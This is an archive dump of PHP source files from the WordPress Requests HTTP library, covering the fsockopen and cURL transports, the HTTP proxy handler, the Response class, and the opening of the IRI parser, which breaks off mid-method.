	 * @codeCoverageIgnore
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport can be used.
	 */
	public static function test($capabilities = []) {
		if (!function_exists('curl_init') || !function_exists('curl_exec')) {
			return false;
		}

		// If needed, check that our installed curl version supports SSL
		if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) {
			$curl_version = curl_version();
			if (!(CURL_VERSION_SSL & $curl_version['features'])) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Get the correct "Expect" header for the given request data.
	 *
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD.
	 * @return string The "Expect" header.
	 */
	private function get_expect_header($data) {
		if (!is_array($data)) {
			return strlen((string) $data) >= 1048576 ? '100-Continue' : '';
		}

		$bytesize = 0;
		$iterator = new RecursiveIteratorIterator(new RecursiveArrayIterator($data));

		foreach ($iterator as $datum) {
			$bytesize += strlen((string) $datum);

			if ($bytesize >= 1048576) {
				return '100-Continue';
			}
		}

		return '';
	}
}
Transport/Fsockopen.php000064400000037033151450174520011212 0ustar00<?php
/**
 * fsockopen HTTP transport
 *
 * @package Requests\Transport
 */

namespace WpOrg\Requests\Transport;

use WpOrg\Requests\Capability;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Port;
use WpOrg\Requests\Requests;
use WpOrg\Requests\Ssl;
use WpOrg\Requests\Transport;
use WpOrg\Requests\Utility\CaseInsensitiveDictionary;
use WpOrg\Requests\Utility\InputValidator;

/**
 * fsockopen HTTP transport
 *
 * @package Requests\Transport
 */
final class Fsockopen implements Transport {
	/**
	 * Second to microsecond conversion
	 *
	 * @var integer
	 */
	const SECOND_IN_MICROSECONDS = 1000000;

	/**
	 * Raw HTTP data
	 *
	 * @var string
	 */
	public $headers = '';

	/**
	 * Stream metadata
	 *
	 * @var array Associative array of properties, see {@link https://www.php.net/stream_get_meta_data}
	 */
	public $info;

	/**
	 * What's the maximum number of bytes we should keep?
	 *
	 * @var int|bool Byte count, or false if no limit.
	 */
	private $max_bytes = false;

	/**
	 * Cache for received connection errors.
	 *
	 * @var string
	 */
	private $connect_error = '';

	/**
	 * Perform a request
	 *
	 * @param string|Stringable $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return string Raw HTTP result
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data parameter is not an array or string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 * @throws \WpOrg\Requests\Exception       On failure to connect to socket (`fsockopenerror`)
	 * @throws \WpOrg\Requests\Exception       On socket timeout (`timeout`)
	 */
	public function request($url, $headers = [], $data = [], $options = []) {
		if (InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
		}

		if (is_array($headers) === false) {
			throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
		}

		if (!is_array($data) && !is_string($data)) {
			if ($data === null) {
				$data = '';
			} else {
				throw InvalidArgument::create(3, '$data', 'array|string', gettype($data));
			}
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(4, '$options', 'array', gettype($options));
		}

		$options['hooks']->dispatch('fsockopen.before_request');

		$url_parts = parse_url($url);
		if (empty($url_parts)) {
			throw new Exception('Invalid URL.', 'invalidurl', $url);
		}

		$host                     = $url_parts['host'];
		$context                  = stream_context_create();
		$verifyname               = false;
		$case_insensitive_headers = new CaseInsensitiveDictionary($headers);

		// HTTPS support
		if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') {
			$remote_socket = 'ssl://' . $host;
			if (!isset($url_parts['port'])) {
				$url_parts['port'] = Port::HTTPS;
			}

			$context_options = [
				'verify_peer'       => true,
				'capture_peer_cert' => true,
			];
			$verifyname      = true;

			// SNI, if enabled (OpenSSL >=0.9.8j)
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.openssl_tlsext_server_nameFound
			if (defined('OPENSSL_TLSEXT_SERVER_NAME') && OPENSSL_TLSEXT_SERVER_NAME) {
				$context_options['SNI_enabled'] = true;
				if (isset($options['verifyname']) && $options['verifyname'] === false) {
					$context_options['SNI_enabled'] = false;
				}
			}

			if (isset($options['verify'])) {
				if ($options['verify'] === false) {
					$context_options['verify_peer']      = false;
					$context_options['verify_peer_name'] = false;
					$verifyname                          = false;
				} elseif (is_string($options['verify'])) {
					$context_options['cafile'] = $options['verify'];
				}
			}

			if (isset($options['verifyname']) && $options['verifyname'] === false) {
				$context_options['verify_peer_name'] = false;
				$verifyname                          = false;
			}

			// Handle the PHP 8.4 deprecation (PHP 9.0 removal) of the function signature we use for stream_context_set_option().
			// Ref: https://wiki.php.net/rfc/deprecate_functions_with_overloaded_signatures#stream_context_set_option
			if (function_exists('stream_context_set_options')) {
				// PHP 8.3+.
				stream_context_set_options($context, ['ssl' => $context_options]);
			} else {
				// PHP < 8.3.
				stream_context_set_option($context, ['ssl' => $context_options]);
			}
		} else {
			$remote_socket = 'tcp://' . $host;
		}

		$this->max_bytes = $options['max_bytes'];

		if (!isset($url_parts['port'])) {
			$url_parts['port'] = Port::HTTP;
		}

		$remote_socket .= ':' . $url_parts['port'];

		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_set_error_handler
		set_error_handler([$this, 'connect_error_handler'], E_WARNING | E_NOTICE);

		$options['hooks']->dispatch('fsockopen.remote_socket', [&$remote_socket]);

		$socket = stream_socket_client($remote_socket, $errno, $errstr, ceil($options['connect_timeout']), STREAM_CLIENT_CONNECT, $context);

		restore_error_handler();

		if ($verifyname && !$this->verify_certificate_from_context($host, $context)) {
			throw new Exception('SSL certificate did not match the requested domain name', 'ssl.no_match');
		}

		if (!$socket) {
			if ($errno === 0) {
				// Connection issue
				throw new Exception(rtrim($this->connect_error), 'fsockopen.connect_error');
			}

			throw new Exception($errstr, 'fsockopenerror', null, $errno);
		}

		$data_format = $options['data_format'];

		if ($data_format === 'query') {
			$path = self::format_get($url_parts, $data);
			$data = '';
		} else {
			$path = self::format_get($url_parts, []);
		}

		$options['hooks']->dispatch('fsockopen.remote_host_path', [&$path, $url]);

		$request_body = '';
		$out          = sprintf("%s %s HTTP/%.1F\r\n", $options['type'], $path, $options['protocol_version']);

		if ($options['type'] !== Requests::TRACE) {
			if (is_array($data)) {
				$request_body = http_build_query($data, '', '&');
			} else {
				$request_body = $data;
			}

			// Always include Content-length on POST requests to prevent
			// 411 errors from some servers when the body is empty.
			if (!empty($data) || $options['type'] === Requests::POST) {
				if (!isset($case_insensitive_headers['Content-Length'])) {
					$headers['Content-Length'] = strlen($request_body);
				}

				if (!isset($case_insensitive_headers['Content-Type'])) {
					$headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8';
				}
			}
		}

		if (!isset($case_insensitive_headers['Host'])) {
			$out         .= sprintf('Host: %s', $url_parts['host']);
			$scheme_lower = strtolower($url_parts['scheme']);

			if (($scheme_lower === 'http' && $url_parts['port'] !== Port::HTTP) || ($scheme_lower === 'https' && $url_parts['port'] !== Port::HTTPS)) {
				$out .= ':' . $url_parts['port'];
			}

			$out .= "\r\n";
		}

		if (!isset($case_insensitive_headers['User-Agent'])) {
			$out .= sprintf("User-Agent: %s\r\n", $options['useragent']);
		}

		$accept_encoding = $this->accept_encoding();
		if (!isset($case_insensitive_headers['Accept-Encoding']) && !empty($accept_encoding)) {
			$out .= sprintf("Accept-Encoding: %s\r\n", $accept_encoding);
		}

		$headers = Requests::flatten($headers);

		if (!empty($headers)) {
			$out .= implode("\r\n", $headers) . "\r\n";
		}

		$options['hooks']->dispatch('fsockopen.after_headers', [&$out]);

		if (substr($out, -2) !== "\r\n") {
			$out .= "\r\n";
		}

		if (!isset($case_insensitive_headers['Connection'])) {
			$out .= "Connection: Close\r\n";
		}

		$out .= "\r\n" . $request_body;

		$options['hooks']->dispatch('fsockopen.before_send', [&$out]);

		fwrite($socket, $out);
		$options['hooks']->dispatch('fsockopen.after_send', [$out]);

		if (!$options['blocking']) {
			fclose($socket);
			$fake_headers = '';
			$options['hooks']->dispatch('fsockopen.after_request', [&$fake_headers]);
			return '';
		}

		$timeout_sec = (int) floor($options['timeout']);
		if ($timeout_sec === $options['timeout']) {
			$timeout_msec = 0;
		} else {
			$timeout_msec = self::SECOND_IN_MICROSECONDS * $options['timeout'] % self::SECOND_IN_MICROSECONDS;
		}

		stream_set_timeout($socket, $timeout_sec, $timeout_msec);

		$response   = '';
		$body       = '';
		$headers    = '';
		$this->info = stream_get_meta_data($socket);
		$size       = 0;
		$doingbody  = false;
		$download   = false;
		if ($options['filename']) {
			// phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception.
			$download = @fopen($options['filename'], 'wb');
			if ($download === false) {
				$error = error_get_last();
				throw new Exception($error['message'], 'fopen');
			}
		}

		while (!feof($socket)) {
			$this->info = stream_get_meta_data($socket);
			if ($this->info['timed_out']) {
				throw new Exception('fsocket timed out', 'timeout');
			}

			$block = fread($socket, Requests::BUFFER_SIZE);
			if (!$doingbody) {
				$response .= $block;
				if (strpos($response, "\r\n\r\n")) {
					list($headers, $block) = explode("\r\n\r\n", $response, 2);
					$doingbody             = true;
				}
			}

			// Are we in body mode now?
			if ($doingbody) {
				$options['hooks']->dispatch('request.progress', [$block, $size, $this->max_bytes]);
				$data_length = strlen($block);
				if ($this->max_bytes) {
					// Have we already hit a limit?
					if ($size === $this->max_bytes) {
						continue;
					}

					if (($size + $data_length) > $this->max_bytes) {
						// Limit the length
						$limited_length = ($this->max_bytes - $size);
						$block          = substr($block, 0, $limited_length);
					}
				}

				$size += strlen($block);
				if ($download) {
					fwrite($download, $block);
				} else {
					$body .= $block;
				}
			}
		}

		$this->headers = $headers;

		if ($download) {
			fclose($download);
		} else {
			$this->headers .= "\r\n\r\n" . $body;
		}

		fclose($socket);

		$options['hooks']->dispatch('fsockopen.after_request', [&$this->headers, &$this->info]);
		return $this->headers;
	}

	/**
	 * Send multiple requests simultaneously
	 *
	 * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see \WpOrg\Requests\Transport::request()}
	 * @param array $options Global options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function request_multiple($requests, $options) {
		// If you're not requesting, we can't get any responses ¯\_(ツ)_/¯
		if (empty($requests)) {
			return [];
		}

		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		$responses = [];
		$class     = get_class($this);
		foreach ($requests as $id => $request) {
			try {
				$handler        = new $class();
				$responses[$id] = $handler->request($request['url'], $request['headers'], $request['data'], $request['options']);

				$request['options']['hooks']->dispatch('transport.internal.parse_response', [&$responses[$id], $request]);
			} catch (Exception $e) {
				$responses[$id] = $e;
			}

			if (!is_string($responses[$id])) {
				$request['options']['hooks']->dispatch('multiple.request.complete', [&$responses[$id], $id]);
			}
		}

		return $responses;
	}

	/**
	 * Retrieve the encodings we can accept
	 *
	 * @return string Accept-Encoding header value
	 */
	private static function accept_encoding() {
		$type = [];
		if (function_exists('gzinflate')) {
			$type[] = 'deflate;q=1.0';
		}

		if (function_exists('gzuncompress')) {
			$type[] = 'compress;q=0.5';
		}

		$type[] = 'gzip;q=0.5';

		return implode(', ', $type);
	}

	/**
	 * Format a URL given GET data
	 *
	 * @param array        $url_parts Array of URL parts as received from {@link https://www.php.net/parse_url}
	 * @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query}
	 * @return string URL with data
	 */
	private static function format_get($url_parts, $data) {
		if (!empty($data)) {
			if (empty($url_parts['query'])) {
				$url_parts['query'] = '';
			}

			$url_parts['query'] .= '&' . http_build_query($data, '', '&');
			$url_parts['query']  = trim($url_parts['query'], '&');
		}

		if (isset($url_parts['path'])) {
			if (isset($url_parts['query'])) {
				$get = $url_parts['path'] . '?' . $url_parts['query'];
			} else {
				$get = $url_parts['path'];
			}
		} else {
			$get = '/';
		}

		return $get;
	}

	/**
	 * Error handler for stream_socket_client()
	 *
	 * @param int $errno Error number (e.g. E_WARNING)
	 * @param string $errstr Error message
	 */
	public function connect_error_handler($errno, $errstr) {
		// Double-check we can handle it
		if (($errno & E_WARNING) === 0 && ($errno & E_NOTICE) === 0) {
			// Return false to indicate the default error handler should engage
			return false;
		}

		$this->connect_error .= $errstr . "\n";
		return true;
	}

	/**
	 * Verify the certificate against common name and subject alternative names
	 *
	 * Unfortunately, PHP doesn't check the certificate against the alternative
	 * names, leading things like 'https://www.github.com/' to be invalid.
	 * Instead
	 *
	 * @link https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1
	 *
	 * @param string $host Host name to verify against
	 * @param resource $context Stream context
	 * @return bool
	 *
	 * @throws \WpOrg\Requests\Exception On failure to connect via TLS (`fsockopen.ssl.connect_error`)
	 * @throws \WpOrg\Requests\Exception On not obtaining a match for the host (`fsockopen.ssl.no_match`)
	 */
	public function verify_certificate_from_context($host, $context) {
		$meta = stream_context_get_options($context);

		// If we don't have SSL options, then we couldn't make the connection at
		// all
		if (empty($meta) || empty($meta['ssl']) || empty($meta['ssl']['peer_certificate'])) {
			throw new Exception(rtrim($this->connect_error), 'ssl.connect_error');
		}

		$cert = openssl_x509_parse($meta['ssl']['peer_certificate']);

		return Ssl::verify_certificate($host, $cert);
	}

	/**
	 * Self-test whether the transport can be used.
	 *
	 * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
	 *
	 * @codeCoverageIgnore
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport can be used.
	 */
	public static function test($capabilities = []) {
		if (!function_exists('fsockopen')) {
			return false;
		}

		// If needed, check that streams support SSL
		if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) {
			if (!extension_loaded('openssl') || !function_exists('openssl_x509_parse')) {
				return false;
			}
		}

		return true;
	}
}
Proxy/Http.php000064400000010171151450174520007321 0ustar00<?php
/**
 * HTTP Proxy connection interface
 *
 * @package Requests\Proxy
 * @since   1.6
 */

namespace WpOrg\Requests\Proxy;

use WpOrg\Requests\Exception\ArgumentCount;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;
use WpOrg\Requests\Proxy;

/**
 * HTTP Proxy connection interface
 *
 * Provides a handler for connection via an HTTP proxy
 *
 * @package Requests\Proxy
 * @since   1.6
 */
final class Http implements Proxy {
	/**
	 * Proxy host and port
	 *
	 * Notation: "host:port" (eg 127.0.0.1:8080 or someproxy.com:3128)
	 *
	 * @var string
	 */
	public $proxy;

	/**
	 * Username
	 *
	 * @var string
	 */
	public $user;

	/**
	 * Password
	 *
	 * @var string
	 */
	public $pass;

	/**
	 * Do we need to authenticate? (ie username & password have been provided)
	 *
	 * @var boolean
	 */
	public $use_authentication;

	/**
	 * Constructor
	 *
	 * @since 1.6
	 *
	 * @param array|string|null $args Proxy as a string or an array of proxy, user and password.
	 *                                When passed as an array, must have exactly one (proxy)
	 *                                or three elements (proxy, user, password).
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array, a string or null.
	 * @throws \WpOrg\Requests\Exception\ArgumentCount On incorrect number of arguments (`proxyhttpbadargs`)
	 */
	public function __construct($args = null) {
		if (is_string($args)) {
			$this->proxy = $args;
		} elseif (is_array($args)) {
			if (count($args) === 1) {
				list($this->proxy) = $args;
			} elseif (count($args) === 3) {
				list($this->proxy, $this->user, $this->pass) = $args;
				$this->use_authentication                    = true;
			} else {
				throw ArgumentCount::create(
					'an array with exactly one element or exactly three elements',
					count($args),
					'proxyhttpbadargs'
				);
			}
		} elseif ($args !== null) {
			throw InvalidArgument::create(1, '$args', 'array|string|null', gettype($args));
		}
	}

	/**
	 * Register the necessary callbacks
	 *
	 * @since 1.6
	 * @see \WpOrg\Requests\Proxy\Http::curl_before_send()
	 * @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_socket()
	 * @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_host_path()
	 * @see \WpOrg\Requests\Proxy\Http::fsockopen_header()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks) {
		$hooks->register('curl.before_send', [$this, 'curl_before_send']);

		$hooks->register('fsockopen.remote_socket', [$this, 'fsockopen_remote_socket']);
		$hooks->register('fsockopen.remote_host_path', [$this, 'fsockopen_remote_host_path']);
		if ($this->use_authentication) {
			$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
		}
	}

	/**
	 * Set cURL parameters before the data is sent
	 *
	 * @since 1.6
	 * @param resource|\CurlHandle $handle cURL handle
	 */
	public function curl_before_send(&$handle) {
		curl_setopt($handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
		curl_setopt($handle, CURLOPT_PROXY, $this->proxy);

		if ($this->use_authentication) {
			curl_setopt($handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY);
			curl_setopt($handle, CURLOPT_PROXYUSERPWD, $this->get_auth_string());
		}
	}

	/**
	 * Alter remote socket information before opening socket connection
	 *
	 * @since 1.6
	 * @param string $remote_socket Socket connection string
	 */
	public function fsockopen_remote_socket(&$remote_socket) {
		$remote_socket = $this->proxy;
	}

	/**
	 * Alter remote path before getting stream data
	 *
	 * @since 1.6
	 * @param string $path Path to send in HTTP request string ("GET ...")
	 * @param string $url Full URL we're requesting
	 */
	public function fsockopen_remote_host_path(&$path, $url) {
		$path = $url;
	}

	/**
	 * Add extra headers to the request before sending
	 *
	 * @since 1.6
	 * @param string $out HTTP header string
	 */
	public function fsockopen_header(&$out) {
		$out .= sprintf("Proxy-Authorization: Basic %s\r\n", base64_encode($this->get_auth_string()));
	}

	/**
	 * Get the authentication string (user:pass)
	 *
	 * @since 1.6
	 * @return string
	 */
	public function get_auth_string() {
		return $this->user . ':' . $this->pass;
	}
}
Response.php000064400000010271151450174520007060 0ustar00<?php
/**
 * HTTP response class
 *
 * Contains a response from \WpOrg\Requests\Requests::request()
 *
 * @package Requests
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Response\Headers;

/**
 * HTTP response class
 *
 * Contains a response from \WpOrg\Requests\Requests::request()
 *
 * @package Requests
 */
class Response {

	/**
	 * Response body
	 *
	 * @var string
	 */
	public $body = '';

	/**
	 * Raw HTTP data from the transport
	 *
	 * @var string
	 */
	public $raw = '';

	/**
	 * Headers, as an associative array
	 *
	 * @var \WpOrg\Requests\Response\Headers Array-like object representing headers
	 */
	public $headers = [];

	/**
	 * Status code, false if non-blocking
	 *
	 * @var integer|boolean
	 */
	public $status_code = false;

	/**
	 * Protocol version, false if non-blocking
	 *
	 * @var float|boolean
	 */
	public $protocol_version = false;

	/**
	 * Whether the request succeeded or not
	 *
	 * @var boolean
	 */
	public $success = false;

	/**
	 * Number of redirects the request used
	 *
	 * @var integer
	 */
	public $redirects = 0;

	/**
	 * URL requested
	 *
	 * @var string
	 */
	public $url = '';

	/**
	 * Previous requests (from redirects)
	 *
	 * @var array Array of \WpOrg\Requests\Response objects
	 */
	public $history = [];

	/**
	 * Cookies from the request
	 *
	 * @var \WpOrg\Requests\Cookie\Jar Array-like object representing a cookie jar
	 */
	public $cookies = [];

	/**
	 * Constructor
	 */
	public function __construct() {
		$this->headers = new Headers();
		$this->cookies = new Jar();
	}

	/**
	 * Is the response a redirect?
	 *
	 * @return boolean True if redirect (3xx status), false if not.
	 */
	public function is_redirect() {
		$code = $this->status_code;
		return in_array($code, [300, 301, 302, 303, 307], true) || $code > 307 && $code < 400;
	}

	/**
	 * Throws an exception if the request was not successful
	 *
	 * @param boolean $allow_redirects Set to false to throw on a 3xx as well
	 *
	 * @throws \WpOrg\Requests\Exception If `$allow_redirects` is false, and code is 3xx (`response.no_redirects`)
	 * @throws \WpOrg\Requests\Exception\Http On non-successful status code. Exception class corresponds to "Status" + code (e.g. {@see \WpOrg\Requests\Exception\Http\Status404})
	 */
	public function throw_for_status($allow_redirects = true) {
		if ($this->is_redirect()) {
			if ($allow_redirects !== true) {
				throw new Exception('Redirection not allowed', 'response.no_redirects', $this);
			}
		} elseif (!$this->success) {
			$exception = Http::get_class($this->status_code);
			throw new $exception(null, $this);
		}
	}

	/**
	 * JSON decode the response body.
	 *
	 * The method parameters are the same as those for the PHP native `json_decode()` function.
	 *
	 * @link https://php.net/json-decode
	 *
	 * @param bool|null $associative Optional. When `true`, JSON objects will be returned as associative arrays;
	 *                               When `false`, JSON objects will be returned as objects.
	 *                               When `null`, JSON objects will be returned as associative arrays
	 *                               or objects depending on whether `JSON_OBJECT_AS_ARRAY` is set in the flags.
	 *                               Defaults to `true` (in contrast to the PHP native default of `null`).
	 * @param int       $depth       Optional. Maximum nesting depth of the structure being decoded.
	 *                               Defaults to `512`.
	 * @param int       $options     Optional. Bitmask of JSON_BIGINT_AS_STRING, JSON_INVALID_UTF8_IGNORE,
	 *                               JSON_INVALID_UTF8_SUBSTITUTE, JSON_OBJECT_AS_ARRAY, JSON_THROW_ON_ERROR.
	 *                               Defaults to `0` (no options set).
	 *
	 * @return array
	 *
	 * @throws \WpOrg\Requests\Exception If `$this->body` is not valid json.
	 */
	public function decode_body($associative = true, $depth = 512, $options = 0) {
		$data = json_decode($this->body, $associative, $depth, $options);

		if (json_last_error() !== JSON_ERROR_NONE) {
			$last_error = json_last_error_msg();
			throw new Exception('Unable to parse JSON data: ' . $last_error, 'response.invalid', $this);
		}

		return $data;
	}
}
Iri.php000064400000071666151450174520006024 0ustar00<?php
/**
 * IRI parser/serialiser/normaliser
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Ipv6;
use WpOrg\Requests\Port;
use WpOrg\Requests\Utility\InputValidator;

/**
 * IRI parser/serialiser/normaliser
 *
 * Copyright (c) 2007-2010, Geoffrey Sneddon and Steve Minutillo.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 *  * Redistributions of source code must retain the above copyright notice,
 *       this list of conditions and the following disclaimer.
 *
 *  * Redistributions in binary form must reproduce the above copyright notice,
 *       this list of conditions and the following disclaimer in the documentation
 *       and/or other materials provided with the distribution.
 *
 *  * Neither the name of the SimplePie Team nor the names of its contributors
 *       may be used to endorse or promote products derived from this software
 *       without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS AND CONTRIBUTORS BE
 * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package Requests\Utilities
 * @author Geoffrey Sneddon
 * @author Steve Minutillo
 * @copyright 2007-2009 Geoffrey Sneddon and Steve Minutillo
 * @license https://opensource.org/licenses/bsd-license.php
 * @link http://hg.gsnedders.com/iri/
 *
 * @property string $iri IRI we're working with
 * @property-read string $uri IRI in URI form, {@see \WpOrg\Requests\Iri::to_uri()}
 * @property string $scheme Scheme part of the IRI
 * @property string $authority Authority part, formatted for a URI (userinfo + host + port)
 * @property string $iauthority Authority part of the IRI (userinfo + host + port)
 * @property string $userinfo Userinfo part, formatted for a URI (after '://' and before '@')
 * @property string $iuserinfo Userinfo part of the IRI (after '://' and before '@')
 * @property string $host Host part, formatted for a URI
 * @property string $ihost Host part of the IRI
 * @property string $port Port part of the IRI (after ':')
 * @property string $path Path part, formatted for a URI (after first '/')
 * @property string $ipath Path part of the IRI (after first '/')
 * @property string $query Query part, formatted for a URI (after '?')
 * @property string $iquery Query part of the IRI (after '?')
 * @property string $fragment Fragment, formatted for a URI (after '#')
 * @property string $ifragment Fragment part of the IRI (after '#')
 */
class Iri {
	/**
	 * Scheme
	 *
	 * @var string|null
	 */
	protected $scheme = null;

	/**
	 * User Information
	 *
	 * @var string|null
	 */
	protected $iuserinfo = null;

	/**
	 * ihost
	 *
	 * @var string|null
	 */
	protected $ihost = null;

	/**
	 * Port
	 *
	 * @var string|null
	 */
	protected $port = null;

	/**
	 * ipath
	 *
	 * @var string
	 */
	protected $ipath = '';

	/**
	 * iquery
	 *
	 * @var string|null
	 */
	protected $iquery = null;

	/**
	 * ifragment|null
	 *
	 * @var string
	 */
	protected $ifragment = null;

	/**
	 * Normalization database
	 *
	 * Each key is the scheme, each value is an array with each key as the IRI
	 * part and value as the default value for that part.
	 *
	 * @var array
	 */
	protected $normalization = array(
		'acap' => array(
			'port' => Port::ACAP,
		),
		'dict' => array(
			'port' => Port::DICT,
		),
		'file' => array(
			'ihost' => 'localhost',
		),
		'http' => array(
			'port' => Port::HTTP,
		),
		'https' => array(
			'port' => Port::HTTPS,
		),
	);

	/**
	 * Return the entire IRI when you try and read the object as a string
	 *
	 * @return string
	 */
	public function __toString() {
		return $this->get_iri();
	}

	/**
	 * Overload __set() to provide access via properties
	 *
	 * @param string $name Property name
	 * @param mixed $value Property value
	 */
	public function __set($name, $value) {
		if (method_exists($this, 'set_' . $name)) {
			call_user_func(array($this, 'set_' . $name), $value);
		}
		elseif (
			   $name === 'iauthority'
			|| $name === 'iuserinfo'
			|| $name === 'ihost'
			|| $name === 'ipath'
			|| $name === 'iquery'
			|| $name === 'ifragment'
		) {
			call_user_func(array($this, 'set_' . substr($name, 1)), $value);
		}
	}

	/**
	 * Overload __get() to provide access via properties
	 *
	 * @param string $name Property name
	 * @return mixed
	 */
	public function __get($name) {
		// isset() returns false for null, we don't want to do that
		// Also why we use array_key_exists below instead of isset()
		$props = get_object_vars($this);

		if (
			$name === 'iri' ||
			$name === 'uri' ||
			$name === 'iauthority' ||
			$name === 'authority'
		) {
			$method = 'get_' . $name;
			$return = $this->$method();
		}
		elseif (array_key_exists($name, $props)) {
			$return = $this->$name;
		}
		// host -> ihost
		elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) {
			$name = $prop;
			$return = $this->$prop;
		}
		// ischeme -> scheme
		elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) {
			$name = $prop;
			$return = $this->$prop;
		}
		else {
			trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
			$return = null;
		}

		if ($return === null && isset($this->normalization[$this->scheme][$name])) {
			return $this->normalization[$this->scheme][$name];
		}
		else {
			return $return;
		}
	}

	/**
	 * Overload __isset() to provide access via properties
	 *
	 * @param string $name Property name
	 * @return bool
	 */
	public function __isset($name) {
		return (method_exists($this, 'get_' . $name) || isset($this->$name));
	}

	/**
	 * Overload __unset() to provide access via properties
	 *
	 * @param string $name Property name
	 */
	public function __unset($name) {
		if (method_exists($this, 'set_' . $name)) {
			call_user_func(array($this, 'set_' . $name), '');
		}
	}

	/**
	 * Create a new IRI object, from a specified string
	 *
	 * @param string|Stringable|null $iri
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $iri argument is not a string, Stringable or null.
	 */
	public function __construct($iri = null) {
		if ($iri !== null && InputValidator::is_string_or_stringable($iri) === false) {
			throw InvalidArgument::create(1, '$iri', 'string|Stringable|null', gettype($iri));
		}

		$this->set_iri($iri);
	}

	/**
	 * Create a new IRI object by resolving a relative IRI
	 *
	 * Returns false if $base is not absolute, otherwise an IRI.
	 *
	 * @param \WpOrg\Requests\Iri|string $base (Absolute) Base IRI
	 * @param \WpOrg\Requests\Iri|string $relative Relative IRI
	 * @return \WpOrg\Requests\Iri|false
	 */
	public static function absolutize($base, $relative) {
		if (!($relative instanceof self)) {
			$relative = new self($relative);
		}
		if (!$relative->is_valid()) {
			return false;
		}
		elseif ($relative->scheme !== null) {
			return clone $relative;
		}

		if (!($base instanceof self)) {
			$base = new self($base);
		}
		if ($base->scheme === null || !$base->is_valid()) {
			return false;
		}

		if ($relative->get_iri() !== '') {
			if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) {
				$target = clone $relative;
				$target->scheme = $base->scheme;
			}
			else {
				$target = new self;
				$target->scheme = $base->scheme;
